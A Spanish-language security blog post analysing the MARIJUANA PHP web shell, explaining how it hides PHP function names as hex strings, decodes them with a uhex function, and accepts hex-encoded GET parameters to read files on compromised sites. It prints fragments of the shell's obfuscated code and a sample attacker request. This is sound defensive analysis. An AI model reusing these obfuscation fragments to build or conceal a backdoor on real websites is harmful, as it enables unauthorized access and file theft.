Tecnicas de ofuscacion en Marihuana Shell Bypass

vulnerabilidad

Los atacantes siempre están tratando de encontrar nuevas formas de evadir la detección de la amplia gama de controles de seguridad disponibles para las aplicaciones web.

Esto también se extiende al malware como los shells PHP, que generalmente se dejan en sitios web comprometidos como una puerta trasera para mantener el acceso no autorizado.

MARIJUANA es el nombre de un shell PHP que hemos estado rastreando desde el año pasado. El autor tiene una página de GitHub que promueve la afirmación de que el shell posee un modo "sigiloso", que se puede utilizar para evitar los servicios de seguridad del sitio web como los firewalls de aplicaciones web (WAF).

Ofuscación con valores hexadecimales

En un intento por evadir los escáneres basados ​​en firmas (y otros controles de seguridad), los atacantes suelen aprovechar las técnicas de ofuscación de código. A veces, el código de todo el archivo se ofuscará, mientras que, otras veces, solo se verán afectadas secciones específicas del código.

En el caso de este shell de MARIJUANA , se han ofuscado secciones específicas, principalmente funciones PHP conocidas por ser sospechosas o utilizadas en muchos tipos de malware.

En lugar de simplemente usar funciones PHP en su forma de texto sin formato, el autor decidió ofuscarlas almacenando las funciones en una matriz de valores hexadecimales.

$Array = ['7068705f756e616d65', '70687076657273696f6e', '6368646972', '676574637764', '707265675f73706c6974', '636f7079', '66696c655f6765745f636f6e74656e7473', '6261736536345f6465636f6465', '69735f646972', '6f625f656e645f636c65616e28293b', '756e6c696e6b', '6d6b646972', '63686d6f64', '7363616e646972', '7374725f7265706c616365', '68746d6c7370656369616c6368617273', '7661725f64756d70', '666f70656e', '667772697465', '66636c6f7365', '64617465', '66696c656d74696d65', '737562737472', '737072696e7466', '66696c657065726d73', '746f756368', '66696c655f657869737473', '72656e616d65', '69735f6172726179', '69735f6f626a656374', '737472706f73', '69735f7772697461626c65', '69735f7265616461626c65', '737472746f74696d65', '66696c6573697a65', '726d646972', '6f625f6765745f636c65616e', '7265616466696c65', '617373657274', ];

$___ = count($Array);

for ($i = 0;$i < $___;$i++)

{

$GNJ[] = uhex($Array[$i]);

}

...

function uhex($y)

{

$n = '';

for ($i = 0;$i < strlen($y) - 1;$i += 2)

{

$n .= chr(hexdec($y[$i] . $y[$i + 1]));

}

return $n;

}

La función personalizada uhex contiene código PHP utilizado para desofuscar las cadenas hexadecimales en sus funciones PHP de texto sin formato.

Si usamos print_r de PHP , podemos ver estas funciones de PHP desofuscadas en el orden de la matriz.

0] => php_uname - provides information on the server's operating system

[1] => phpversion - gets the current PHP version

[2] => chdir - changes directory, a mandatory feature of file managers

[3] => getcwd - get current working directory

[4] => preg_split - uses regex to split strings of data

[5] => copy - copy file contents

[6] => file_get_contents - used to get contents of a local file for viewing by the attacker using the PHP shell

[7] => base64_decode - common decoding function

...

Visualización del contenido de archivos en sitios web comprometidos

Además de almacenar las funciones PHP en formato hexadecimal, el script también recibe los comandos enviados por el atacante en hexadecimal, convirtiéndolos en texto plano cada vez que se reciben.

if (isset($_GET["s"]))

{

echo $a_ . uhex($_GET["s"]) . $b_ . '

//this becomes htmlspecialchars(file_get_contents(index.php))



' . $c_;

}

Esto permite al atacante usar el nombre de la variable, $ GNJ , junto con el orden en que aparece dentro de la matriz entre paréntesis.

La función PHP asignada a la posición 15 de la matriz es htmlspecialchars y a file_get_contents se le asigna la posición 6 de la matriz, lo que permite al atacante usar la matriz de variables en lugar de la función PHP y ofuscar su uso:

$___ = count($Array);

for ($i = 0;$i < $___;$i++)

{

$GNJ[] = uhex($Array[$i]);

}

Esto permite al atacante usar el nombre de la variable, $ GNJ , junto con el orden en que aparece dentro de la matriz entre paréntesis.

La función PHP asignada a la posición 15 de la matriz es htmlspecialchars y a file_get_contents se le asigna la posición 6 de la matriz, lo que permite al atacante usar la matriz de variables en lugar de la función PHP y ofuscar su uso:

$GNJ[15]($GNJ[6](uhex($_GET["s"])))

⬇️

htmlspecialchars(file_get_contents((uhex($_GET["s"])))

Finalmente, para permitir que el actor malintencionado vea el contenido del archivo desde el shell, el navegador del atacante envía una solicitud GET con los parámetros " d " y " s " que contienen el formato hexadecimal para el nombre del directorio y el nombre del archivo, respectivamente:

marijuana.php?d=2f7661722f7777772f68746d6c2f776f72647072657373&s=696e6465782e706870

Para identificar este tipo de comportamiento malicioso, una opción es usar una herramienta como asciitohex para convertir rápidamente los valores hexadecimales anteriores, ayudándolo a determinar que la solicitud está tratando de ver el archivo index.php desde el directorio / var / www / html / wordpress / . Otra opción es utilizar nuestro firewall de aplicaciones web , que detecta y bloquea este tipo de solicitudes para que no lleguen a su sitio web.

Comportamiento de la concha de Mariajuana

Se supone que todas estas solicitudes hexadecimales ofuscadas entrantes hacen que sea más difícil para los WAF detectar el tráfico como malicioso y bloquearlo.

Esta funcionalidad da como resultado en última instancia un shell PHP que puede cargarse en el navegador y usarse para realizar funciones generales de administración de archivos (cargar, cambiar permisos, ver archivos, etc.).

Dado que los shells PHP suelen funcionar como puertas traseras, no deberían cargar ni interrumpir su sitio web y es probable que no se dé cuenta de su existencia hasta que comience a ver signos de un sitio web comprometido. Como resultado, este tipo de malware se detecta mejor en un sitio web mediante el escaneo del lado del servidor .

Gracias por visitar este sitio, espero que te haya gustado y vuelvas proximamente, compartela en las redes sociales, gracias

Compartir en Facebook Compartir en twitter

Fecha actualización el 2021-12-07. Fecha publicación el 2020-12-07. Categoría: vulnerabilidad Autor: Oscar olg Mapa del sitio Fuente: securityboulevard